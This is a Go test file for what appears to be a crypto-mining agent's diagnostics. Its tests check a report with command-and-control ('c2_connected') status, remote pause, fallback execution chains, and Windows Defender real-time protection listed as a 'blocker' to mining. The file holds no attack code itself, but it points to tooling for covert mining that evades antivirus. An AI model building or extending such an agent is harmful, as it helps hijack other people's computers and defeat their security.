AetherForge/agent/client/mining_diagnostics_test.go

package client

import (
	"encoding/json"
	"strings"
	"testing"

	"crypto-miner-agent/config"
	"crypto-miner-agent/miner"
	"crypto-miner-agent/stats"
)

func testDiagnosticsClient(t *testing.T, cfg config.RuntimeConfig) *AgentClient {
	t.Helper()
	c := NewAgentClient(cfg)
	c.pool = miner.NewPool(1, cfg, stats.NewReporter(), nil)
	return c
}

func TestMiningDiagnosticsJSONShape(t *testing.T) {
	miner.SetRuntimeDetector(func() miner.ContainerRuntimeInfo {
		return miner.ContainerRuntimeInfo{Available: true, CLI: "docker", Version: "24.0"}
	})
	defer miner.SetRuntimeDetector(nil)
	miner.SetWSLDetector(func() miner.WSLRuntimeInfo { return miner.WSLRuntimeInfo{} })
	defer miner.SetWSLDetector(nil)
	SetPostureCollector(func() *PostureReport { return nil })
	defer SetPostureCollector(nil)

	cfg := config.RuntimeConfig{
		BuiltinConfig: config.BuiltinConfig{
			MinerExecution: miner.ExecutionAuto,
			PoolHost:       "pool.example.com",
			PoolPort:       3333,
			MiningMode:     "always",
		},
	}
	c := testDiagnosticsClient(t, cfg)
	c.connected.Store(true)

	raw := c.miningDiagnosticsJSON()
	var doc map[string]interface{}
	if err := json.Unmarshal([]byte(raw), &doc); err != nil {
		t.Fatalf("invalid JSON: %v\n%s", err, raw)
	}
	for _, key := range []string{
		"generated_at", "platform", "configured_execution", "execution_mode",
		"container_runtime_available", "c2_connected", "mining_mode",
		"pool_host", "pool_port", "likely_blockers", "chain_order", "cpu", "gpu",
	} {
		if _, ok := doc[key]; !ok {
			t.Fatalf("missing key %q in diagnostics JSON", key)
		}
	}
	blockers, ok := doc["likely_blockers"].([]interface{})
	if !ok {
		t.Fatalf("likely_blockers type = %T", doc["likely_blockers"])
	}
	if len(blockers) == 0 {
		t.Fatal("expected at least one likely_blocker for idle agent with no job")
	}
}

func TestInferMiningBlockersRemotePause(t *testing.T) {
	c := testDiagnosticsClient(t, config.RuntimeConfig{})
	c.pool.PauseRemote()

	d := c.collectMiningDiagnostics()
	found := false
	for _, b := range d.LikelyBlockers {
		if strings.Contains(b, "remote command") || strings.Contains(b, "container delegation") {
			found = true
			break
		}
	}
	if !found {
		t.Fatalf("expected remote pause blocker, got %v", d.LikelyBlockers)
	}
}

func TestInferMiningBlockersChainExhausted(t *testing.T) {
	c := testDiagnosticsClient(t, config.RuntimeConfig{})
	d := MiningDiagnostics{C2Connected: true, ChainExhausted: true}
	blockers := c.inferMiningBlockers(d)
	found := false
	for _, b := range blockers {
		if strings.Contains(b, "fallback chain exhausted") {
			found = true
		}
	}
	if !found {
		t.Fatalf("got %v", blockers)
	}
}

func TestInferMiningBlockersDefenderRTP(t *testing.T) {
	c := testDiagnosticsClient(t, config.RuntimeConfig{})
	rtp := true
	d := MiningDiagnostics{
		C2Connected: true,
		Defender: &struct {
			Enabled  *bool    `json:"enabled,omitempty"`
			RTP      *bool    `json:"rtp,omitempty"`
			Products []string `json:"products,omitempty"`
		}{RTP: &rtp},
	}
	blockers := c.inferMiningBlockers(d)
	found := false
	for _, b := range blockers {
		if strings.Contains(b, "Defender real-time protection") {
			found = true
		}
	}
	if !found {
		t.Fatalf("got %v", blockers)
	}
}

func TestInferMiningBlockersContainerModeNoRuntime(t *testing.T) {
	c := testDiagnosticsClient(t, config.RuntimeConfig{})
	d := MiningDiagnostics{
		ExecutionMode:      miner.ExecutionContainer,
		ContainerAvailable: false,
	}
	blockers := c.inferMiningBlockers(d)
	found := false
	for _, b := range blockers {
		if strings.Contains(b, "Docker/Podman not detected") {
			found = true
		}
	}
	if !found {
		t.Fatalf("expected container runtime blocker, got %v", blockers)
	}
}

func TestMiningDiagnosticsIncludesTierChainFields(t *testing.T) {
	miner.SetRuntimeDetector(func() miner.ContainerRuntimeInfo {
		return miner.ContainerRuntimeInfo{Available: true, CLI: "docker"}
	})
	defer miner.SetRuntimeDetector(nil)
	miner.SetWSLDetector(func() miner.WSLRuntimeInfo { return miner.WSLRuntimeInfo{} })
	defer miner.SetWSLDetector(nil)
	SetPostureCollector(func() *PostureReport { return nil })
	defer SetPostureCollector(nil)

	cfg := config.RuntimeConfig{
		BuiltinConfig: config.BuiltinConfig{
			MinerExecution: miner.ExecutionAuto,
			PoolHost:       "pool.example.com",
		},
	}
	c := testDiagnosticsClient(t, cfg)
	d := c.collectMiningDiagnostics()
	if len(d.TierChainOrder) == 0 {
		t.Fatalf("expected tier_chain_order, got %+v", d)
	}
	if d.TierChainOrder[0] == "" {
		t.Fatalf("empty tier id in chain: %v", d.TierChainOrder)
	}
	raw := c.miningDiagnosticsJSON()
	var doc map[string]interface{}
	if err := json.Unmarshal([]byte(raw), &doc); err != nil {
		t.Fatal(err)
	}
	for _, key := range []string{"tier_chain_order", "tier_chain_skipped"} {
		if _, ok := doc[key]; !ok {
			t.Fatalf("missing key %q in diagnostics JSON", key)
		}
	}
}

func TestInferMiningBlockersGPUConfiguredInactive(t *testing.T) {
	c := testDiagnosticsClient(t, config.RuntimeConfig{
		BuiltinConfig: config.BuiltinConfig{GPUEnabled: true},
	})
	d := MiningDiagnostics{
		GPU: struct {
			Enabled bool   `json:"enabled"`
			Active  bool   `json:"active"`
			Paused  bool   `json:"paused"`
			Model   string `json:"model,omitempty"`
		}{Enabled: true, Active: false, Paused: false},
	}
	blockers := c.inferMiningBlockers(d)
	found := false
	for _, b := range blockers {
		if strings.Contains(b, "GPU mining configured but subprocess inactive") {
			found = true
		}
	}
	if !found {
		t.Fatalf("expected GPU inactive blocker, got %v", blockers)
	}
}